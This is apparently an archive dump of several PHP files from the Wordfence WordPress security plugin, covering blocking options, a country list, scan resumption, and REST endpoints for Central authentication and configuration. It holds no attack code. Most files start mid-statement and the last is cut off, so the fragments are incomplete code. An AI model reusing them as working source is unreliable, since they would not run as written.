__('Blocking Options', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_BLOCKING), 'helpLabelHTML' => wp_kses(__('Learn more about Blocking', 'wordfence'), array('span'=>array('class'=>array()))), 'showIcon' => true, ))->render(); ?>
  • 'displayTopLevelBlocking', 'enabledValue' => 1, 'disabledValue' => 0, 'value' => wfConfig::get('displayTopLevelBlocking') ? 1 : 0, 'title' => __('Display Blocking menu option', 'wordfence'), ))->render(); ?>
'blocking-options-country', 'collapseable' => false, ))->render(); ?>
wfBulkCountries.php000064400000023422147206764270010425 0ustar00 __("Andorra", 'wordfence'), "AE" => __("United Arab Emirates", 'wordfence'), "AF" => __("Afghanistan", 'wordfence'), "AG" => __("Antigua and Barbuda", 'wordfence'), "AI" => __("Anguilla", 'wordfence'), "AL" => __("Albania", 'wordfence'), "AM" => __("Armenia", 'wordfence'), "AO" => __("Angola", 'wordfence'), "AQ" => __("Antarctica", 'wordfence'), "AR" => __("Argentina", 'wordfence'), "AS" => __("American Samoa", 'wordfence'), "AT" => __("Austria", 'wordfence'), "AU" => __("Australia", 'wordfence'), "AW" => __("Aruba", 'wordfence'), "AX" => __("Aland Islands", 'wordfence'), "AZ" => __("Azerbaijan", 'wordfence'), "BA" => __("Bosnia and Herzegovina", 'wordfence'), "BB" => __("Barbados", 'wordfence'), "BD" => __("Bangladesh", 'wordfence'), "BE" => __("Belgium", 'wordfence'), "BF" => __("Burkina Faso", 'wordfence'), "BG" => __("Bulgaria", 'wordfence'), "BH" => __("Bahrain", 'wordfence'), "BI" => __("Burundi", 'wordfence'), "BJ" => __("Benin", 'wordfence'), "BL" => __("Saint Bartelemey", 'wordfence'), "BM" => __("Bermuda", 'wordfence'), "BN" => __("Brunei Darussalam", 'wordfence'), "BO" => __("Bolivia", 'wordfence'), "BQ" => __("Bonaire, Saint Eustatius and Saba", 'wordfence'), "BR" => __("Brazil", 'wordfence'), "BS" => __("Bahamas", 'wordfence'), "BT" => __("Bhutan", 'wordfence'), "BV" => __("Bouvet Island", 'wordfence'), "BW" => __("Botswana", 'wordfence'), "BY" => __("Belarus", 'wordfence'), "BZ" => __("Belize", 'wordfence'), "CA" => __("Canada", 'wordfence'), "CC" => __("Cocos (Keeling) Islands", 'wordfence'), "CD" => __("Congo, The Democratic Republic of the", 'wordfence'), "CF" => __("Central African Republic", 'wordfence'), "CG" => __("Congo", 'wordfence'), "CH" => __("Switzerland", 'wordfence'), "CI" => __("Cote dIvoire", 'wordfence'), "CK" => __("Cook Islands", 'wordfence'), "CL" => __("Chile", 'wordfence'), "CM" => __("Cameroon", 'wordfence'), "CN" => __("China", 'wordfence'), "CO" => __("Colombia", 'wordfence'), "CR" => __("Costa Rica", 'wordfence'), "CU" => __("Cuba", 'wordfence'), "CV" => __("Cape Verde", 'wordfence'), "CW" => __("Curacao", 'wordfence'), "CX" => __("Christmas Island", 'wordfence'), "CY" => __("Cyprus", 'wordfence'), "CZ" => __("Czech Republic", 'wordfence'), "DE" => __("Germany", 'wordfence'), "DJ" => __("Djibouti", 'wordfence'), "DK" => __("Denmark", 'wordfence'), "DM" => __("Dominica", 'wordfence'), "DO" => __("Dominican Republic", 'wordfence'), "DZ" => __("Algeria", 'wordfence'), "EC" => __("Ecuador", 'wordfence'), "EE" => __("Estonia", 'wordfence'), "EG" => __("Egypt", 'wordfence'), "EH" => __("Western Sahara", 'wordfence'), "ER" => __("Eritrea", 'wordfence'), "ES" => __("Spain", 'wordfence'), "ET" => __("Ethiopia", 'wordfence'), "EU" => __("Europe", 'wordfence'), "FI" => __("Finland", 'wordfence'), "FJ" => __("Fiji", 'wordfence'), "FK" => __("Falkland Islands (Malvinas)", 'wordfence'), "FM" => __("Micronesia, Federated States of", 'wordfence'), "FO" => __("Faroe Islands", 'wordfence'), "FR" => __("France", 'wordfence'), "GA" => __("Gabon", 'wordfence'), "GB" => __("United Kingdom", 'wordfence'), "GD" => __("Grenada", 'wordfence'), "GE" => __("Georgia", 'wordfence'), "GF" => __("French Guiana", 'wordfence'), "GG" => __("Guernsey", 'wordfence'), "GH" => __("Ghana", 'wordfence'), "GI" => __("Gibraltar", 'wordfence'), "GL" => __("Greenland", 'wordfence'), "GM" => __("Gambia", 'wordfence'), "GN" => __("Guinea", 'wordfence'), "GP" => __("Guadeloupe", 'wordfence'), "GQ" => __("Equatorial Guinea", 'wordfence'), "GR" => __("Greece", 'wordfence'), "GS" => __("South Georgia and the South Sandwich Islands", 'wordfence'), "GT" => __("Guatemala", 'wordfence'), "GU" => __("Guam", 'wordfence'), "GW" => __("Guinea-Bissau", 'wordfence'), "GY" => __("Guyana", 'wordfence'), "HK" => __("Hong Kong", 'wordfence'), "HM" => __("Heard Island and McDonald Islands", 'wordfence'), "HN" => __("Honduras", 'wordfence'), "HR" => __("Croatia", 'wordfence'), "HT" => __("Haiti", 'wordfence'), "HU" => __("Hungary", 'wordfence'), "ID" => __("Indonesia", 'wordfence'), "IE" => __("Ireland", 'wordfence'), "IL" => __("Israel", 'wordfence'), "IM" => __("Isle of Man", 'wordfence'), "IN" => __("India", 'wordfence'), "IO" => __("British Indian Ocean Territory", 'wordfence'), "IQ" => __("Iraq", 'wordfence'), "IR" => __("Iran, Islamic Republic of", 'wordfence'), "IS" => __("Iceland", 'wordfence'), "IT" => __("Italy", 'wordfence'), "JE" => __("Jersey", 'wordfence'), "JM" => __("Jamaica", 'wordfence'), "JO" => __("Jordan", 'wordfence'), "JP" => __("Japan", 'wordfence'), "KE" => __("Kenya", 'wordfence'), "KG" => __("Kyrgyzstan", 'wordfence'), "KH" => __("Cambodia", 'wordfence'), "KI" => __("Kiribati", 'wordfence'), "KM" => __("Comoros", 'wordfence'), "KN" => __("Saint Kitts and Nevis", 'wordfence'), "KP" => __("North Korea", 'wordfence'), "KR" => __("South Korea", 'wordfence'), "KW" => __("Kuwait", 'wordfence'), "KY" => __("Cayman Islands", 'wordfence'), "KZ" => __("Kazakhstan", 'wordfence'), "LA" => __("Lao Peoples Democratic Republic", 'wordfence'), "LB" => __("Lebanon", 'wordfence'), "LC" => __("Saint Lucia", 'wordfence'), "LI" => __("Liechtenstein", 'wordfence'), "LK" => __("Sri Lanka", 'wordfence'), "LR" => __("Liberia", 'wordfence'), "LS" => __("Lesotho", 'wordfence'), "LT" => __("Lithuania", 'wordfence'), "LU" => __("Luxembourg", 'wordfence'), "LV" => __("Latvia", 'wordfence'), "LY" => __("Libyan Arab Jamahiriya", 'wordfence'), "MA" => __("Morocco", 'wordfence'), "MC" => __("Monaco", 'wordfence'), "MD" => __("Moldova, Republic of", 'wordfence'), "ME" => __("Montenegro", 'wordfence'), "MF" => __("Saint Martin", 'wordfence'), "MG" => __("Madagascar", 'wordfence'), "MH" => __("Marshall Islands", 'wordfence'), "MK" => __("North Macedonia, Republic of", 'wordfence'), "ML" => __("Mali", 'wordfence'), "MM" => __("Myanmar", 'wordfence'), "MN" => __("Mongolia", 'wordfence'), "MO" => __("Macao", 'wordfence'), "MP" => __("Northern Mariana Islands", 'wordfence'), "MQ" => __("Martinique", 'wordfence'), "MR" => __("Mauritania", 'wordfence'), "MS" => __("Montserrat", 'wordfence'), "MT" => __("Malta", 'wordfence'), "MU" => __("Mauritius", 'wordfence'), "MV" => __("Maldives", 'wordfence'), "MW" => __("Malawi", 'wordfence'), "MX" => __("Mexico", 'wordfence'), "MY" => __("Malaysia", 'wordfence'), "MZ" => __("Mozambique", 'wordfence'), "NA" => __("Namibia", 'wordfence'), "NC" => __("New Caledonia", 'wordfence'), "NE" => __("Niger", 'wordfence'), "NF" => __("Norfolk Island", 'wordfence'), "NG" => __("Nigeria", 'wordfence'), "NI" => __("Nicaragua", 'wordfence'), "NL" => __("Netherlands", 'wordfence'), "NO" => __("Norway", 'wordfence'), "NP" => __("Nepal", 'wordfence'), "NR" => __("Nauru", 'wordfence'), "NU" => __("Niue", 'wordfence'), "NZ" => __("New Zealand", 'wordfence'), "OM" => __("Oman", 'wordfence'), "PA" => __("Panama", 'wordfence'), "PE" => __("Peru", 'wordfence'), "PF" => __("French Polynesia", 'wordfence'), "PG" => __("Papua New Guinea", 'wordfence'), "PH" => __("Philippines", 'wordfence'), "PK" => __("Pakistan", 'wordfence'), "PL" => __("Poland", 'wordfence'), "PM" => __("Saint Pierre and Miquelon", 'wordfence'), "PN" => __("Pitcairn", 'wordfence'), "PR" => __("Puerto Rico", 'wordfence'), "PS" => __("Palestinian Territory", 'wordfence'), "PT" => __("Portugal", 'wordfence'), "PW" => __("Palau", 'wordfence'), "PY" => __("Paraguay", 'wordfence'), "QA" => __("Qatar", 'wordfence'), "RE" => __("Reunion", 'wordfence'), "RO" => __("Romania", 'wordfence'), "RS" => __("Serbia", 'wordfence'), "RU" => __("Russian Federation", 'wordfence'), "RW" => __("Rwanda", 'wordfence'), "SA" => __("Saudi Arabia", 'wordfence'), "SB" => __("Solomon Islands", 'wordfence'), "SC" => __("Seychelles", 'wordfence'), "SD" => __("Sudan", 'wordfence'), "SE" => __("Sweden", 'wordfence'), "SG" => __("Singapore", 'wordfence'), "SH" => __("Saint Helena", 'wordfence'), "SI" => __("Slovenia", 'wordfence'), "SJ" => __("Svalbard and Jan Mayen", 'wordfence'), "SK" => __("Slovakia", 'wordfence'), "SL" => __("Sierra Leone", 'wordfence'), "SM" => __("San Marino", 'wordfence'), "SN" => __("Senegal", 'wordfence'), "SO" => __("Somalia", 'wordfence'), "SR" => __("Suriname", 'wordfence'), "ST" => __("Sao Tome and Principe", 'wordfence'), "SV" => __("El Salvador", 'wordfence'), "SX" => __("Sint Maarten", 'wordfence'), "SY" => __("Syrian Arab Republic", 'wordfence'), "SZ" => __("Swaziland", 'wordfence'), "TC" => __("Turks and Caicos Islands", 'wordfence'), "TD" => __("Chad", 'wordfence'), "TF" => __("French Southern Territories", 'wordfence'), "TG" => __("Togo", 'wordfence'), "TH" => __("Thailand", 'wordfence'), "TJ" => __("Tajikistan", 'wordfence'), "TK" => __("Tokelau", 'wordfence'), "TL" => __("Timor-Leste", 'wordfence'), "TM" => __("Turkmenistan", 'wordfence'), "TN" => __("Tunisia", 'wordfence'), "TO" => __("Tonga", 'wordfence'), "TR" => __("Turkey", 'wordfence'), "TT" => __("Trinidad and Tobago", 'wordfence'), "TV" => __("Tuvalu", 'wordfence'), "TW" => __("Taiwan", 'wordfence'), "TZ" => __("Tanzania, United Republic of", 'wordfence'), "UA" => __("Ukraine", 'wordfence'), "UG" => __("Uganda", 'wordfence'), "UM" => __("United States Minor Outlying Islands", 'wordfence'), "US" => __("United States", 'wordfence'), "UY" => __("Uruguay", 'wordfence'), "UZ" => __("Uzbekistan", 'wordfence'), "VA" => __("Holy See (Vatican City State)", 'wordfence'), "VC" => __("Saint Vincent and the Grenadines", 'wordfence'), "VE" => __("Venezuela", 'wordfence'), "VG" => __("Virgin Islands, British", 'wordfence'), "VI" => __("Virgin Islands, U.S.", 'wordfence'), "VN" => __("Vietnam", 'wordfence'), "VU" => __("Vanuatu", 'wordfence'), "WF" => __("Wallis and Futuna", 'wordfence'), "WS" => __("Samoa", 'wordfence'), "XK" => __("Kosovo", 'wordfence'), "YE" => __("Yemen", 'wordfence'), "YT" => __("Mayotte", 'wordfence'), "ZA" => __("South Africa", 'wordfence'), "ZM" => __("Zambia", 'wordfence'), "ZW" => __("Zimbabwe", 'wordfence'), ); wfScanMonitor.php000064400000010070147206764270010063 0ustar00 self::MAX_RESUME_ATTEMPTS) { $valid = false; return self::DEFAULT_RESUME_ATTEMPTS; } $valid = true; return $attempts; } private static function setRemainingResumeAttempts($attempts) { wfConfig::set(self::CONFIG_REMAINING_RESUME_ATTEMPTS, $attempts); } public static function getConfiguredResumeAttempts() { $attempts = (int) wfConfig::get(self::CONFIG_MAX_RESUME_ATTEMPTS, self::DEFAULT_RESUME_ATTEMPTS); return self::validateResumeAttempts($attempts); } private static function resetResumeAttemptCounter() { $attempts = self::getConfiguredResumeAttempts(); self::setRemainingResumeAttempts($attempts); return $attempts; } private static function getRemainingResumeAttempts() { $attempts = (int) wfConfig::get(self::CONFIG_REMAINING_RESUME_ATTEMPTS, 0); return self::validateResumeAttempts($attempts); } public static function handleScanStart($mode) { wfConfig::set(self::CONFIG_LAST_ATTEMPT_MODE, $mode); $maxAttempts = self::resetResumeAttemptCounter(); if ($maxAttempts > 0) self::beginMonitoring(); } public static function monitorScan() { $remainingAttempts = self::getRemainingResumeAttempts(); if ($remainingAttempts > 0) { $now = time(); $lastAttempt = wfConfig::get(self::CONFIG_LAST_ATTEMPT); if ($lastAttempt === null || $now - $lastAttempt < self::SCAN_START_TIMEOUT) return; $lastSuccess = wfConfig::get(self::CONFIG_LAST_SUCCESS); self::setRemainingResumeAttempts(--$remainingAttempts); if ($lastSuccess === null || $lastAttempt > $lastSuccess) { wordfence::status(2, 'info', sprintf(__('Attempting to resume scan stage (%d attempt(s) remaining)...', 'wordfence'), $remainingAttempts)); self::resumeScan(); } } else { self::endMonitoring(); } } private static function resumeScan() { $mode = wfConfig::get(self::CONFIG_LAST_ATTEMPT_MODE); if (!wfScanner::isValidScanType($mode)) $mode = false; wfScanEngine::startScan(wfConfig::get(self::CONFIG_LAST_ATTEMPT_WAS_FORK), $mode, true); } private static function logTimestamp($key) { wfConfig::set($key, time()); } public static function logLastAttempt($fork) { self::logTimestamp(self::CONFIG_LAST_ATTEMPT); wfConfig::set(self::CONFIG_LAST_ATTEMPT_WAS_FORK, $fork); } public static function logLastSuccess() { self::logTimestamp(self::CONFIG_LAST_SUCCESS); } public static function handleStageStart($fork) { if ($fork) self::resetResumeAttemptCounter(); } public static function registerCronInterval($schedules) { if (!array_key_exists(self::CRON_INTERVAL_NAME, $schedules)) { $schedules[self::CRON_INTERVAL_NAME] = array( 'interval' => self::CRON_INTERVAL_AMOUNT, 'display' => 'Wordfence Scan Monitor' ); } return $schedules; } public static function registerActions() { add_filter('cron_schedules', array(self::class, 'registerCronInterval')); add_action(self::CRON_HOOK, array(self::class, 'monitorScan')); } public static function handleDeactivation() { self::endMonitoring(); } }menu_scanner_credentials.php000064400000005326147206764270012334 0ustar00 'WordfenceScan', 'subpage' => 'scan_credentials', 'action' => $action, 'issueID' => (int) @$_GET['issueID'], 'nonce' => wp_create_nonce('wp-ajax'), ))); switch ($action) { case 'restoreFile': $callback = array('wordfence', 'fsActionRestoreFileCallback'); break; case 'deleteFile': $callback = array('wordfence', 'fsActionDeleteFileCallback'); break; } ?>
$scanURL, 'backLabel' => __('Back to Scan', 'wordfence'), 'suppressControls' => true, ))->render(); ?>
__('File System Credentials Required', 'wordfence'), ))->render(); ?>
' . wp_kses(sprintf( /* translators: URL to the WordPress admin panel. */ __('Security token has expired. Click here to return to the scan page.', 'wordfence'), esc_url($scanURL)), array('a'=>array('href'=>array()))) . '

'; } ?>
email_unsubscribeRequest.php000064400000002065147206764270012343 0ustar00 %1$s requested an alert unsubscribe link for the website %3$s.', 'wordfence'), esc_html($IP), esc_attr($siteURL), esc_html($siteName)), array('a'=>array('href'=>array()), 'b'=>array())); ?>





Click here (' . esc_html__('opens in new tab', 'wordfence') . ') to stop receiving security alerts.', 'wordfence'), wfUtils::getSiteBaseURL() . '?_wfsf=removeAlertEmail&jwt=' . $jwt), array('a'=>array('href'=>array(), 'target'=>array()))); ?>rest-api/wfRESTAuthenticationController.php000064400000013610147206764270015077 0ustar00 WP_REST_Server::READABLE, 'callback' => array($this, 'nonce'), 'permission_callback' => '__return_true', )); register_rest_route('wordfence/v1', '/authenticate', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array($this, 'authenticate'), 'permission_callback' => '__return_true', )); register_rest_route('wordfence/v1', '/authenticate-premium', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array($this, 'authenticatePremium'), 'permission_callback' => '__return_true', )); } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function nonce($request) { $response = rest_ensure_response(array( 'nonce' => self::generateNonce(), 'admin_url' => network_admin_url(), )); return $response; } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function authenticate($request) { require_once(WORDFENCE_PATH . '/lib/sodium_compat_fast.php'); $siteID = wfConfig::get('wordfenceCentralSiteID'); if (!$siteID) { return new WP_Error('rest_forbidden_context', __('Site is not connected to Wordfence Central.', 'wordfence'), array('status' => rest_authorization_required_code())); } // verify signature. $data = $request->get_param('data'); $dataChunks = explode('|', $data, 2); if (count($dataChunks) !== 2) { return new WP_Error('rest_forbidden_context', __('Data is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } if (!preg_match('/[0-9a-f]{64}/i', $dataChunks[0])) { return new WP_Error('rest_forbidden_context', __('Nonce format is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } if (!preg_match('/[0-9a-f\-]{36}/i', $dataChunks[1])) { return new WP_Error('rest_forbidden_context', __('Site ID is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } if (!hash_equals($siteID, $dataChunks[1])) { return new WP_Error('rest_forbidden_context', __('Site ID is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $signature = $request->get_param('signature'); $nonce1 = self::generateNonce(); $nonce2 = self::generateNonce(-1); $verfiedNonce = hash_equals($nonce1, $dataChunks[0]) || hash_equals($nonce2, $dataChunks[0]); if (!$verfiedNonce) { return new WP_Error('rest_forbidden_context', __('Nonce is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $signature = pack('H*', $signature); if (!ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $data, wfConfig::get('wordfenceCentralPK'))) { return new WP_Error('rest_forbidden_context', __('Signature is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $response = rest_ensure_response(array( 'token' => (string) self::generateToken(), )); return $response; } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function authenticatePremium($request) { require_once(WORDFENCE_PATH . '/lib/sodium_compat_fast.php'); // verify signature. $data = $request->get_param('data'); $dataChunks = explode('|', $data, 2); if (count($dataChunks) !== 2) { return new WP_Error('rest_forbidden_context', __('Data is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } if (!preg_match('/[0-9a-f]{64}/i', $dataChunks[0])) { return new WP_Error('rest_forbidden_context', __('Nonce format is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } if (!is_email($dataChunks[1])) { return new WP_Error('rest_forbidden_context', __('Email address is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $adminEmail = $dataChunks[1]; $signature = $request->get_param('signature'); $nonce1 = self::generateNonce(); $nonce2 = self::generateNonce(-1); $verfiedNonce = hash_equals($nonce1, $dataChunks[0]) || hash_equals($nonce2, $dataChunks[0]); if (!$verfiedNonce) { return new WP_Error('rest_forbidden_context', __('Nonce is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $signature = pack('H*', $signature); if (!ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $data, WORDFENCE_CENTRAL_PUBLIC_KEY)) { return new WP_Error('rest_forbidden_context', __('Signature is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $user_query = new WP_User_Query(array( 'role' => 'administrator', 'search' => $adminEmail, 'search_columns' => array('user_email') )); $users = $user_query->get_results(); if (is_array($users) && count($users) === 1) { $jwt = new wfJWT('wordfence-central-premium'); $jwt->addClaims(array('email' => $adminEmail)); $response = rest_ensure_response(array( 'token' => (string) $jwt, )); return $response; } return new WP_Error('rest_forbidden_context', __('Admin user with this email address not found.', 'wordfence'), array('status' => rest_authorization_required_code())); } }rest-api/wfRESTConfigController.php000064400000032047147206764270013332 0ustar00query('DELETE FROM ' . wfDB::networkTable('wfConfig') . " WHERE name LIKE 'wordfenceCentral%'"); wfConfig::set('wordfenceCentralDisconnected', true); wfConfig::set('wordfenceCentralDisconnectTime', time()); wfConfig::set('wordfenceCentralDisconnectEmail', $adminEmail); wfConfig::set('wordfenceCentralConfigurationIssue', false); return !!$result; } public function registerRoutes() { register_rest_route('wordfence/v1', '/config', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array($this, 'getConfig'), 'permission_callback' => array($this, 'verifyToken'), 'fields' => array( 'description' => __('Specific config options to return.', 'wordfence'), 'type' => 'array', 'required' => false, ), )); register_rest_route('wordfence/v1', '/config', array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array($this, 'setConfig'), 'permission_callback' => array($this, 'verifyToken'), 'fields' => array( 'description' => __('Specific config options to set.', 'wordfence'), 'type' => 'array', 'required' => true, ), )); register_rest_route('wordfence/v1', '/disconnect', array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array($this, 'disconnect'), 'permission_callback' => array($this, 'verifyToken'), )); register_rest_route('wordfence/v1', '/premium-connect', array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array($this, 'premiumConnect'), 'permission_callback' => array($this, 'verifyTokenPremium'), )); } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function getConfig($request) { $fields = (array) $request['fields']; $config = array(); $firewall = new wfFirewall(); $wafFields = array( 'autoPrepend' => $firewall->protectionMode() === wfFirewall::PROTECTION_MODE_EXTENDED, 'avoid_php_input' => wfWAF::getInstance()->getStorageEngine()->getConfig('avoid_php_input', false) ? 1 : 0, 'disabledRules' => array_keys((array) wfWAF::getInstance()->getStorageEngine()->getConfig('disabledRules')), 'ruleCount' => count((array) wfWAF::getInstance()->getRules()), 'disableWAFBlacklistBlocking' => wfWAF::getInstance()->getStorageEngine()->getConfig('disableWAFBlacklistBlocking'), 'enabled' => $firewall->wafStatus() !== wfFirewall::FIREWALL_MODE_DISABLED, 'firewallMode' => $firewall->firewallMode(), 'learningModeGracePeriod' => wfWAF::getInstance()->getStorageEngine()->getConfig('learningModeGracePeriod'), 'learningModeGracePeriodEnabled' => wfWAF::getInstance()->getStorageEngine()->getConfig('learningModeGracePeriodEnabled'), 'subdirectoryInstall' => $firewall->isSubDirectoryInstallation(), 'wafStatus' => $firewall->wafStatus(), ); $lsFields = array( Controller_Settings::OPTION_XMLRPC_ENABLED => Controller_Settings::shared()->get(Controller_Settings::OPTION_XMLRPC_ENABLED), Controller_Settings::OPTION_2FA_WHITELISTED => Controller_Settings::shared()->get(Controller_Settings::OPTION_2FA_WHITELISTED), Controller_Settings::OPTION_IP_SOURCE => Controller_Settings::shared()->get(Controller_Settings::OPTION_IP_SOURCE), Controller_Settings::OPTION_IP_TRUSTED_PROXIES => Controller_Settings::shared()->get(Controller_Settings::OPTION_IP_TRUSTED_PROXIES), Controller_Settings::OPTION_REQUIRE_2FA_ADMIN => Controller_Settings::shared()->get(Controller_Settings::OPTION_REQUIRE_2FA_ADMIN), Controller_Settings::OPTION_REQUIRE_2FA_GRACE_PERIOD_ENABLED => Controller_Settings::shared()->get(Controller_Settings::OPTION_REQUIRE_2FA_GRACE_PERIOD_ENABLED), Controller_Settings::OPTION_GLOBAL_NOTICES => Controller_Settings::shared()->get(Controller_Settings::OPTION_GLOBAL_NOTICES), Controller_Settings::OPTION_REMEMBER_DEVICE_ENABLED => Controller_Settings::shared()->get(Controller_Settings::OPTION_REMEMBER_DEVICE_ENABLED), Controller_Settings::OPTION_REMEMBER_DEVICE_DURATION => Controller_Settings::shared()->get(Controller_Settings::OPTION_REMEMBER_DEVICE_DURATION), Controller_Settings::OPTION_ALLOW_XML_RPC => Controller_Settings::shared()->get(Controller_Settings::OPTION_ALLOW_XML_RPC), Controller_Settings::OPTION_ENABLE_AUTH_CAPTCHA => Controller_Settings::shared()->get(Controller_Settings::OPTION_ENABLE_AUTH_CAPTCHA), Controller_Settings::OPTION_RECAPTCHA_THRESHOLD => Controller_Settings::shared()->get(Controller_Settings::OPTION_RECAPTCHA_THRESHOLD), Controller_Settings::OPTION_LAST_SECRET_REFRESH => Controller_Settings::shared()->get(Controller_Settings::OPTION_LAST_SECRET_REFRESH), ); // Convert the database strings to typed values. foreach ($lsFields as $lsField => $value) { $lsFields[$lsField] = Controller_Settings::shared()->clean($lsField, $value); } if (!$fields) { foreach (wfConfig::$defaultConfig as $group => $groupOptions) { foreach ($groupOptions as $field => $values) { $fields[] = $field; } } foreach ($wafFields as $wafField => $value) { $fields[] = 'waf.' . $wafField; } foreach ($lsFields as $lsField => $value) { $fields[] = 'wfls_settings_' . $lsField; } } foreach ($fields as $field) { if (strpos($field, 'waf.') === 0) { $wafField = substr($field, 4); if (array_key_exists($wafField, $wafFields)) { $config['waf'][$wafField] = $wafFields[$wafField]; } continue; } if (strpos($field, 'wfls_settings_') === 0) { $lsField = substr($field, 14); if (array_key_exists($lsField, $lsFields)) { $config['wfls_settings_' . $lsField] = $lsFields[$lsField]; } continue; } if (array_key_exists($field, wfConfig::$defaultConfig['checkboxes'])) { $config[$field] = (bool) wfConfig::get($field); } else if (array_key_exists($field, wfConfig::$defaultConfig['otherParams']) || array_key_exists($field, wfConfig::$defaultConfig['defaultsOnly'])) { $configConfig = !empty(wfConfig::$defaultConfig['otherParams'][$field]) ? wfConfig::$defaultConfig['otherParams'][$field] : wfConfig::$defaultConfig['defaultsOnly'][$field]; if (!empty($configConfig['validation']['type'])) { switch ($configConfig['validation']['type']) { case wfConfig::TYPE_INT: $config[$field] = wfConfig::getInt($field); break; case wfConfig::TYPE_DOUBLE: case wfConfig::TYPE_FLOAT: $config[$field] = floatval(wfConfig::get($field)); break; case wfConfig::TYPE_BOOL: $config[$field] = (bool) wfConfig::get($field); break; case wfConfig::TYPE_ARRAY: $config[$field] = wfConfig::get_ser($field); break; case wfConfig::TYPE_STRING: default: $config[$field] = wfConfig::get($field); break; } } else { $config[$field] = wfConfig::get($field); } } else if (in_array($field, wfConfig::$serializedOptions)) { $config[$field] = wfConfig::get_ser($field); } } $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); parse_str($api->makeAPIQueryString(), $qs); $systemInfo = json_decode(wfUtils::base64url_decode($qs['s']), true); $systemInfo['output_buffering'] = ini_get('output_buffering'); $systemInfo['ip'] = wfUtils::getIPAndServerVariable(); $systemInfo['detected_ips'] = wfUtils::getAllServerVariableIPs(); $systemInfo['admin_url'] = network_admin_url(); $response = rest_ensure_response(array( 'config' => $config, 'info' => $systemInfo, )); return $response; } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function setConfig($request) { wfCentral::preventConfigurationSync(); $fields = $request['fields']; if (is_array($fields) && $fields) { $loginSecurityConfig = array(); foreach ($fields as $key => $value) { if (strpos($key, 'wfls_settings_') === 0) { $lsField = substr($key, 14); $loginSecurityConfig[$lsField] = $value; } } if ($loginSecurityConfig) { $errors = Controller_Settings::shared()->validate_multiple($loginSecurityConfig); if ($errors !== true) { if (count($errors) == 1) { return new WP_Error('rest_set_config_error', sprintf( /* translators: Error message. */ __('An error occurred while saving the configuration: %s', 'wordfence'), $errors[0]['error']), array('status' => 422)); } else if (count($errors) > 1) { $compoundMessage = array(); foreach ($errors as $e) { $compoundMessage[] = $e['error']; } return new WP_Error('rest_set_config_error', sprintf( /* translators: Error message. */ __('Errors occurred while saving the configuration: %s', 'wordfence'), implode(', ', $compoundMessage)), array('status' => 422)); } return new WP_Error('rest_set_config_error', __('Errors occurred while saving the configuration.', 'wordfence'), array('status' => 422)); } try { Controller_Settings::shared()->set_multiple($loginSecurityConfig); foreach ($fields as $key => $value) { if (strpos($key, 'wfls_settings_') === 0) { unset($fields[$key]); } } } catch (Exception $e) { return new WP_Error('rest_save_config_error', sprintf( /* translators: Error message. */ __('A server error occurred while saving the configuration: %s', 'wordfence'), $e->getMessage()), array('status' => 500)); } } $errors = wfConfig::validate($fields); if ($errors !== true) { if (count($errors) == 1) { return new WP_Error('rest_set_config_error', sprintf( /* translators: Error message. */ __('An error occurred while saving the configuration: %s', 'wordfence'), $errors[0]['error']), array('status' => 422)); } else if (count($errors) > 1) { $compoundMessage = array(); foreach ($errors as $e) { $compoundMessage[] = $e['error']; } return new WP_Error('rest_set_config_error', sprintf( /* translators: Error message. */ __('Errors occurred while saving the configuration: %s', 'wordfence'), implode(', ', $compoundMessage)), array('status' => 422)); } return new WP_Error('rest_set_config_error', __('Errors occurred while saving the configuration.', 'wordfence'), array('status' => 422)); } try { wfConfig::save($fields); return rest_ensure_response(array( 'success' => true, )); } catch (Exception $e) { return new WP_Error('rest_save_config_error', sprintf( /* translators: Error message. */ __('A server error occurred while saving the configuration: %s', 'wordfence'), $e->getMessage()), array('status' => 500)); } } return new WP_Error('rest_save_config_error', __("Validation error: 'fields' parameter is empty or not an array.", 'wordfence'), array('status' => 422)); } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function disconnect($request) { self::disconnectConfig(); return rest_ensure_response(array( 'success' => true, )); } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function premiumConnect($request) { require_once(WORDFENCE_PATH . '/lib/sodium_compat_fast.php'); // Store values sent by Central. $wordfenceCentralPK = $request['public-key']; $wordfenceCentralSiteData = $request['site-data']; $wordfenceCentralSiteID = $request['site-id']; $keypair = ParagonIE_Sodium_Compat::crypto_sign_keypair(); $publicKey = ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair); $secretKey = ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair); wfConfig::set('wordfenceCentralSecretKey', $secretKey); wfConfig::set('wordfenceCentralConnected', 1); wfConfig::set('wordfenceCentralCurrentStep', 6); wfConfig::set('wordfenceCentralPK', pack("H*", $wordfenceCentralPK)); wfConfig::set('wordfenceCentralSiteData', json_encode($wordfenceCentralSiteData)); wfConfig::set('wordfenceCentralSiteID', $wordfenceCentralSiteID); wfConfig::set('wordfenceCentralConnectTime', time()); wfConfig::set('wordfenceCentralConnectEmail', !empty($this->tokenData['adminEmail']) ? $this->tokenData['adminEmail'] : null); // Return values created by Wordfence. return 